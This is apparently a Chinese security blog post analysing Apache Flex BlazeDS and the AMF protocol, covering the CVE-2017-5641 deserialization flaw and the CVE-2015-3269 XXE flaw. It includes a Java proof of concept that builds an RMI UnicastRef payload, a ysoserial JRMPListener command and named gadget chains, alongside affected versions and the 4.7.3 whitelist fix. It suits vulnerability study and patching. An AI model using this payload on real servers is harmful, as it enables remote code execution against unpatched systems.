1. Flex BlazeDS
1.1 Flex
Flex是一个开源应用程序框架,由Flex类库(ActionScript类)、Flex编译器、调试器、MXML和ActionScript编程语言组成Flex SDK及其他应用程序。它主要负责Web应用程序的UI或客户端功能,基于Flex的应用程序实际上是作为SWF文件提供的,是HTML的包装器,将CSS、JAVA/PHP等部署到服务器,通过HTTP请求/响应方式从服务器传递到客户端浏览器,Flash Player在浏览器中运行应用程序。Flex应用程序可以访问设备(如GPS、摄像头等)可应用在手机或桌面端且与平台无关。
Flex官方下载地址:
http://flex.apache.org/download-binaries.html
下载后解压缩,由IDEA创建Flash项目加载进来
![](https://img.haomeiwen.com/i20428239/f588e6d99843f8bd.png)
1.2 BlazeDS
BlazeDS是为使用Flex或者AIR的客户端程序提供高度可扩展的远程访问和消息服务。实现客户端(Flex/AIR)与服务端(BlazeDS)实时消息的传递,通过RemoteObject、HTTPService、WebService、Producer、Consumer组件等,后四个都是Flex SDK的一部分。
BlazeDS的核心功能包括RPC services和Messaging Service
(1)RPC services
RPC(远程过程调用)可以用来访问外部数据,客户端程序使用RPC服务发送异步请求给远程服务,服务端处理请求直接返回数据到客户端,客户端可以通过RPC组件获取数据。RPC组件包括HTTP GET或POST(HTTP service)、SOAP(web services)、Java Objects(remote object services)。通过BlazeDS的RemoteObject组件可以访问远程Java对象而不需要将其配置成WebServices
(2)Messaging Service
Messaging Service消息服务可以使客户端程序通过往返的消息和服务端异步通信,其消息属性包括:一个唯一的消息ID、多个BlazeDS消息头、多个自定义的消息头和消息正文。在Flex客户端中定义消息生产者发送消息,定义消息消费者来接收消息。消费者组件订阅服务端地址,以接收消息生产者发送到该地址的消息。
BlazeDS使用以消息为基础的框架在客户端和服务器之间往返消息,主要有两种交换模式,一种是请求响应模式(客户端发送一个请求给服务器,服务器返回一个处理结果的响应,RPC服务使用这种模式),第二种模式是发送订阅模式(服务端路径发布消息给订阅该地址的客户端,客户端收到消息)。客户端使用通道(AMF通道/HTTP通道)通过网络发送消息,通道把消息格式化并翻译成特定的网络格式传递到服务器上的一个端点。通道和服务器基于Java端点通信,端点重新配置消息为特定协议格式,传递普通的Java格式的消息给消息中间人,再由中间人确定消息发送到哪儿,具体流程如下图所示:
![](https://img.haomeiwen.com/i20428239/ea0b58733e1826f3.png)
中文的一份BlazeDS开发文档可以见此链接https://en.calameo.com/read/000073610e8acfdfe0362
web应用配置BlazeDS支持需要如下三步:
(1)把BlazeDS及其依赖的jar包拷贝到WEB-INF/lib下
(2)修改WEB-INF/flex目录下有关BlazeDS的配置文件
(3)在WEB-INF/web.xml文件中定义MessageBrokerServlet和一个session listener
BlazeDS最新版4.7.3下载地址:
http://www.apache.org/dyn/closer.lua/flex/BlazeDS/4.7.3/blazeds-4.7.3-source-release.zip
2. AMF协议
AMF协议是Action Message Format协议的简称,是Adobe公司开发的协议。AMF是随Flash Player6一起引入的,此版本为AMF0,直到Flash Player9和ActionScript3发行后,进行了AMF3的更新。后来Adobe在2007年发布了AMF二进制数据协议规范。AMF主要用于数据交互和远程过程调用,在功能上与WebService相当,但AMF与WebService的不同在于AMF是二进制数据,而xml是文本数据,AMF的传输效率比xml高。AMF使用http方式传输,目前主要用于ActionScript中,实现Flex与Service之间的通信。
2.1 AMF格式
![](https://img.haomeiwen.com/i20428239/09e89220f4ecfc0d.png)
![](https://img.haomeiwen.com/i20428239/54d7bf93de7d3864.png)
AMF只是一种数据编码格式,但通常可以将其封装在RTMP消息或Flex RPC调用中。远程调用连接后的 "_result" 消息格式如下所示:
![](https://img.haomeiwen.com/i20428239/240977003f09a71e.png)
![](https://img.haomeiwen.com/i20428239/6df11b6260e86975.png)
AMF协议是基于Http协议的,它的内容处理过程大致是这样:
从客户端获取Http请求(Request)流->对流进行解串行化(Deserialize),得到服务器端程序能够识别的数据,并建立一个响应(Response)消息->对流进行处理的到返回值->将响应流串行化(Serialize)->发送HTTP响应给客户端。
既然AMF协议解析的过程中存在序列化过程,那么是否存在反序列化漏洞?Code White发现JAVA AMF多个库中存在漏洞,如:Flex BlazeDS by Adobe、Flex BlazeDS by Apache、Flamingo AMF Serializer by Exadel (已停更)、GraniteDS (已停更)、WebORB for Java by Midnight Coders等,这些库中有的还存在XXE、任意对象创建及属性设置、通过RMI实现Java序列化的漏洞。具体的可以看一下Code white的文章https://codewhitesec.blogspot.com/2017/04/amf.html
![](https://img.haomeiwen.com/i20428239/7d8abb23f7b6381f.png)
还有一点值得注意,AMF3相对于AMF多了两个特性,dynamic和externalizable,二者共同描述了对象的反序列化操作。前者声明了动态特性的类实例,即通过类名和属性来创建对象。后者实现了flash.utils.IExternalizable,这个与java.io.Externalizable很相近。JDK中有很多类实现了java.io.Externalizable接口,其中sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2类与RMI有关。在AMF反序列化的POC中就利用了后面这个点。
2.2 AMF反序列化漏洞demo
demo中采用的库是flex-messaging-common-4.7.2.jar
、flex-messaging-core-4.7.2.jar
import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.*;
import java.io.*;
public class AMF_demo {
public static void main(String[] args) throws Exception {
Person person = new Person();
person.setName("dudu");
person.setAge(6);
// 序列化对象,生成AMF Message对象
byte[] amf = serialize(person);
System.out.println("序列化:" + amf);
// 反序列化对象
ActionMessage actionMessage = deserialize(amf);
System.out.println("反序列化:" + actionMessage);
String host="127.0.0.1";
String port="8080";
String file="payload.txt";
Object unicastRef = generateUnicastRef(host, Integer.parseInt(port));
// serialize object to AMF message
try {
byte[] amf2;
amf2 = serialize((unicastRef));
DataOutputStream os = new DataOutputStream(new FileOutputStream(file));
os.write(amf2);
System.out.println("Done, payload written to " + file);
} catch (IOException e) {
e.printStackTrace();
}
}
public static byte[] serialize(Object data) throws IOException {
MessageBody body = new MessageBody();
body.setData(data);
ActionMessage message = new ActionMessage();
message.addBody(body);
ByteArrayOutputStream out = new ByteArrayOutputStream();
AmfMessageSerializer serializer = new AmfMessageSerializer();
serializer.initialize(SerializationContext.getSerializationContext(), out, null);
serializer.writeMessage(message);
return out.toByteArray();
}
public static ActionMessage deserialize(byte[] amf) throws ClassNotFoundException, IOException {
ByteArrayInputStream in = new ByteArrayInputStream(amf);
AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
ActionMessage actionMessage = new ActionMessage();
deserializer.readMessage(actionMessage, new ActionContext());
return actionMessage;
}
public static Object generateUnicastRef(String host, int port) {
java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
return new sun.rmi.server.UnicastRef(liveRef);
}
}
跟踪反序列化过程
//AmfMessageDeserializer.class
public void readMessage(ActionMessage m, ActionContext context) throws ClassNotFoundException, IOException {
int headerCount = this.amfIn.readUnsignedShort();
int bodyCount;
for(bodyCount = 0; bodyCount < headerCount; ++bodyCount) {
MessageHeader header = new MessageHeader();
m.addHeader(header);
this.readHeader(header, bodyCount);
}
bodyCount = this.amfIn.readUnsignedShort();
for(int i = 0; i < bodyCount; ++i) {
MessageBody body = new MessageBody();
m.addBody(body);
this.readBody(body, i);
}
}
public void readHeader(MessageHeader header, int index) throws ClassNotFoundException, IOException {
String name = this.amfIn.readUTF();
header.setName(name);
boolean mustUnderstand = this.amfIn.readBoolean();
header.setMustUnderstand(mustUnderstand);
this.amfIn.readInt();
this.amfIn.reset();
if (this.isDebug) {
this.debugTrace.startHeader(name, mustUnderstand, index);
}
Object data;
try {
data = this.readObject();
} catch (RecoverableSerializationException var7) {
var7.setCode("Client.Header.Encoding");
data = var7;
} catch (MessageException var8) {
var8.setCode("Client.Header.Encoding");
throw var8;
}
header.setData(data);
if (this.isDebug) {
this.debugTrace.endHeader();
}
}
public void readBody(MessageBody body, int index) throws ClassNotFoundException, IOException {
String targetURI = this.amfIn.readUTF();
body.setTargetURI(targetURI);
String responseURI = this.amfIn.readUTF();
body.setResponseURI(responseURI);
this.amfIn.readInt();
this.amfIn.reset();
if (this.isDebug) {
this.debugTrace.startMessage(targetURI, responseURI, index);
}
Object data;
try {
data = this.readObject();
} catch (RecoverableSerializationException var7) {
var7.setCode("Client.Message.Encoding");
data = var7;
} catch (MessageException var8) {
var8.setCode("Client.Message.Encoding");
throw var8;
}
body.setData(data);
if (this.isDebug) {
this.debugTrace.endMessage();
}
}
public Object readObject() throws ClassNotFoundException, IOException {
return this.amfIn.readObject();
}
//Amf0Input.class
public Object readObject() throws ClassNotFoundException, IOException {
int type = this.in.readByte();
Object value = this.readObjectValue(type);
return value;
}
protected Object readObjectValue(int type) throws ClassNotFoundException, IOException {
Object value = null;
switch(type) {
case 0:
value = this.readDouble();
break;
case 1:
value = this.readBoolean();
break;
case 2:
value = this.readString();
break;
case 3:
value = this.readObjectValue((String)null);
break;
case 4:
default:
if (this.isDebug) {
this.trace.write("UNKNOWN TYPE");
}
UnknownTypeException ex3 = new UnknownTypeException();
ex3.setMessage(10301, new Object[]{new Integer(type)});
throw ex3;
case 5:
if (this.isDebug) {
this.trace.writeNull();
}
break;
case 6:
if (this.isDebug) {
this.trace.writeUndefined();
}
break;
case 7:
int refNum = this.in.readUnsignedShort();
if (this.isDebug) {
this.trace.writeRef(refNum);
}
value = this.objectsTable.get(refNum);
break;
case 8:
value = this.readECMAArrayValue();
break;
case 9:
if (this.isDebug) {
this.trace.write("UNEXPECTED OBJECT END");
}
UnknownTypeException ex1 = new UnknownTypeException();
ex1.setMessage(10303);
throw ex1;
case 10:
value = this.readArrayValue();
break;
case 11:
value = this.readDate();
break;
case 12:
ClassUtil.validateCreation(String.class);
value = this.readLongUTF();
if (this.isDebug) {
this.trace.writeString((String)value);
}
break;
case 13:
if (this.isDebug) {
this.trace.write("UNSUPPORTED");
}
UnknownTypeException ex = new UnknownTypeException();
ex.setMessage(10302);
throw ex;
case 14:
if (this.isDebug) {
this.trace.write("UNEXPECTED RECORDSET");
}
UnknownTypeException ex2 = new UnknownTypeException();
ex2.setMessage(10304);
throw ex2;
case 15:
value = this.readXml();
break;
case 16:
String typeName = this.in.readUTF();
value = this.readObjectValue(typeName);
break;
case 17:
if (this.avmPlusInput == null) {
this.avmPlusInput = new Amf3Input(this.context);
this.avmPlusInput.setDebugTrace(this.trace);
this.avmPlusInput.setInputStream(this.in);
}
value = this.avmPlusInput.readObject();
}
return value;
}
//Amf3Input.class
public Object readObject() throws ClassNotFoundException, IOException {
int type = this.in.readByte();
Object value = this.readObjectValue(type);
return value;
}
protected Object readObjectValue(int type) throws ClassNotFoundException, IOException {
Object value = null;
switch(type) {
case 0:
if (this.isDebug) {
this.trace.writeUndefined();
}
break;
case 1:
if (this.isDebug) {
this.trace.writeNull();
}
break;
case 2:
ClassUtil.validateCreation(Boolean.class);
value = Boolean.FALSE;
if (this.isDebug) {
this.trace.write(value);
}
break;
case 3:
ClassUtil.validateCreation(Boolean.class);
value = Boolean.TRUE;
if (this.isDebug) {
this.trace.write(value);
}
break;
case 4:
ClassUtil.validateCreation(Integer.class);
int i = this.readUInt29();
i = i << 3 >> 3;
value = new Integer(i);
if (this.isDebug) {
this.trace.write(value);
}
break;
case 5:
value = this.readDouble();
break;
case 6:
ClassUtil.validateCreation(String.class);
value = this.readString();
if (this.isDebug) {
this.trace.writeString((String)value);
}
break;
case 7:
case 11:
value = this.readXml();
break;
case 8:
value = this.readDate();
break;
case 9:
value = this.readArray();
break;
case 10:
value = this.readScriptObject();
break;
case 12:
value = this.readByteArray();
break;
case 13:
case 14:
case 15:
case 16:
value = this.readTypedVector(type);
break;
case 17:
value = this.readDictionary();
break;
default:
UnknownTypeException ex = new UnknownTypeException();
ex.setMessage(10301, new Object[]{new Integer(type)});
throw ex;
}
return value;
}
protected Object readScriptObject() throws ClassNotFoundException, IOException {
int ref = this.readUInt29();
if ((ref & 1) == 0) {
return this.getObjectReference(ref >> 1);
} else {
TraitsInfo ti = this.readTraits(ref);
String className = ti.getClassName();
boolean externalizable = ti.isExternalizable();
Object[] params = new Object[]{className, null};
Object object = this.createObjectInstance(params);
className = (String)params[0];
PropertyProxy proxy = (PropertyProxy)params[1];
int objectId = this.rememberObject(object);
if (externalizable) {
this.readExternalizable(className, object);
} else {
if (this.isDebug) {
this.trace.startAMFObject(className, this.objectTable.size() - 1);
}
boolean isCollectionClass = isCollectionClass(object);
int len = ti.getProperties().size();
for(int i = 0; i < len; ++i) {
String propName = ti.getProperty(i);
if (this.isDebug) {
this.trace.namedElement(propName);
}
Object value = this.readObjectOneLevelDown(isCollectionClass);
proxy.setValue(object, propName, value);
}
if (ti.isDynamic()) {
while(true) {
String name = this.readString();
if (name == null || name.length() == 0) {
break;
}
if (this.isDebug) {
this.trace.namedElement(name);
}
Object value = this.readObjectOneLevelDown(isCollectionClass);
proxy.setValue(object, name, value);
}
}
}
if (this.isDebug) {
this.trace.endAMFObject();
}
Object newObj = proxy.instanceComplete(object);
if (newObj != object) {
this.objectTable.set(objectId, newObj);
object = newObj;
}
return object;
}
}
(1)payload
用payload攻击一下
public static void payload1() throws IOException, ClassNotFoundException {
Object object = generateUnicastRef("127.0.0.1", 1234);
// 序列化对象,生成AMF Message对象
byte[] amf = serialize(object);
// 反序列化对象
ActionMessage actionMessage = deserialize(amf);
System.out.println("ActionMessage: " + actionMessage);
}
本地监听一下可以连接
![](https://img.haomeiwen.com/i20428239/5bec1069a89b69a2.png)
利用ysoserial工具
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234
再搭配其他组件使用,如CommonsBeanutils1等。另外也可以构造JdbcRowSetImpl调用链
已有调用链:UnicastRef
、SpringPropertyPathFactory
、C3P0WrapperConnPool
(2)漏洞版本
Apache Flex BlazeDS的4.6.0.23207版本及4.7.x系列<4.7.3版本的都存在反序列化漏洞。具体地说,flex-messaging-xx系列jar包的4.6.0.23207版本及4.7.x系列<4.7.3版本的存在漏洞。另外如果是通过代码审计的方式要判断AmfMessageDeserializer.readMessage()函数的参数是否外部可控
在4.7.3版本中,官方有了如下声明,https://github.com/apache/flex-blazeds/blob/master/RELEASE_NOTES,第一默认禁止了XML反序列化,但是可以在services-config.xml中开启。
![](https://img.haomeiwen.com/i20428239/3b56f752c1d7db31.png)
第二默认启用ClassDeserializationValidator,仅允许列入白名单的类别反序列化,白名单如下:
flex.messaging.io.amf.ASObject
flex.messaging.io.amf.SerializedObject
flex.messaging.io.ArrayCollection
flex.messaging.io.ArrayList
flex.messaging.messages.AcknowledgeMessage
flex.messaging.messages.AcknowledgeMessageExt
flex.messaging.messages.AsyncMessage
flex.messaging.messages.AsyncMessageExt
flex.messaging.messages.CommandMessage
flex.messaging.messages.CommandMessageExt
flex.messaging.messages.ErrorMessage
flex.messaging.messages.HTTPMessage
flex.messaging.messages.RemotingMessage
flex.messaging.messages.SOAPMessage
java.lang.Boolean
java.lang.Byte
java.lang.Character
java.lang.Double
java.lang.Float
java.lang.Integer
java.lang.Long
java.lang.Object
java.lang.Short
java.lang.String
java.util.ArrayList
java.util.Date
java.util.HashMap
org.w3c.dom.Document
如果要反序列化其他的类,同样需要在services-config.xml中配置
<validators>
<validator class="flex.messaging.validators.ClassDeserializationValidator">
<properties>
<allow-classes>
<class name="org.mycoolproject.*"/>
<class name="flex.messaging.messages.*"/>
<class name="flex.messaging.io.amf.ASObject"/>
</allow-classes>
</properties>
</validator>
</validators>
此漏洞demo源于CVE-2017-5641,该漏洞的描述是Apache Flex BlazeDS的先前版本(4.7.2和更早版本)默认情况下没有限制AMF对象反序列化所允许的类型。具体内容可参考https://raw.githubusercontent.com/pedrib/PoC/master/advisories/draytek-vigor-acs.txt
另外Flex BlazeDS曾经还爆过其他的漏洞,XXE和SSRF的https://www.tenable.com/plugins/nessus/87592
![](https://img.haomeiwen.com/i20428239/95459c24f09d641f.png)
2.3 Flex BlazeDS XXE漏洞
XXE漏洞(CVE-2015-3269)描述
"
Apache Flex BlazeDS, as used in flex-messaging-core.jar in Adobe LiveCycle Data Services (LCDS) 3.0.x before 3.0.0.354170, 4.5 before 4.5.1.354169, 4.6.2 before 4.6.2.354169, and 4.7 before 4.7.0.354169 and other products,
allows remote attackers to read arbitrary files via an AMF message containing an XML external entity declaration in conjunction with an entity reference, related to an XML External Entity (XXE) issue.
"
总的来说就是4.7.1之前的所有版本都容易受到攻击。
具体流程和上面反序列化过程类似,readBody->readObject->Amf0Input.readObject->readObjectValue->case 15 readXml()->XMLUtil.stringToDocument
看到stringToDocument的代码,标准的DOM解析XML的格式,此处builder.parse函数中的Input参数由xml得来,如果xml可控即可达成XXE,调用readXml的this这是readObject传递进去的。其源头是this.in.readByte(),in可以由我们自己传入,也就是说xml可控。
public static Document stringToDocument(String xml, boolean nameSpaceAware) {
ClassUtil.validateCreation(Document.class);
Document document = null;
try {
if (xml != null) {
StringReader reader = new StringReader(xml);
InputSource input = new InputSource(reader);
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware(nameSpaceAware);
factory.setValidating(false);
DocumentBuilder builder = factory.newDocumentBuilder();
document = builder.parse(input);
}
return document;
} catch (Exception var7) {
throw new MessageException("Error deserializing XML type " + var7.getMessage());
}
}
//Amf0Input.class
protected Object readXml() throws IOException {
String xml = this.readLongUTF();
if (this.isDebug) {
this.trace.write(xml);
}
return this.stringToDocument(xml);
}
![](https://img.haomeiwen.com/i20428239/1d78fdfb2d101ffb.png)
(3)AMF协议的应用
AMF协议有着比较广泛的应用,wiki上列了如下这些,是否还有的挖掘,需要进一步深入。
![](https://img.haomeiwen.com/i20428239/94154838d19862f3.png)
![](https://img.haomeiwen.com/i20428239/6b12e4e899da2279.png)
协议和格式可以参考wikihttps://en.wikipedia.org/wiki/Action_Message_Format
关于Flex的彩蛋
一开始看到Flex BlazeDS这个名,分别查看了一下Flex和BlazeDS,而Flex查询时,推送的都是布局方案,认真看了一会儿发现自己看偏了,但是既然看了留个图,游客打卡。
网页布局(layout)是 CSS 的一个重点应用。2009年,W3C 提出了一种新的方案----Flex 布局。Flex 是 Flexible Box 的缩写,意为"弹性布局",用来为盒状模型提供最大的灵活性。
采用 Flex 布局的元素,称为 Flex 容器(flex container),简称"容器"。它的所有子元素自动成为容器成员,称为 Flex 项目(flex item),简称"项目"。
![](https://img.haomeiwen.com/i20428239/9c06573616021aa3.png)
其容器的属性包括:
![](https://img.haomeiwen.com/i20428239/69457df29087a745.png)
项目属性包括:
![](https://img.haomeiwen.com/i20428239/d4ec4e3d1ac54448.png)
网友评论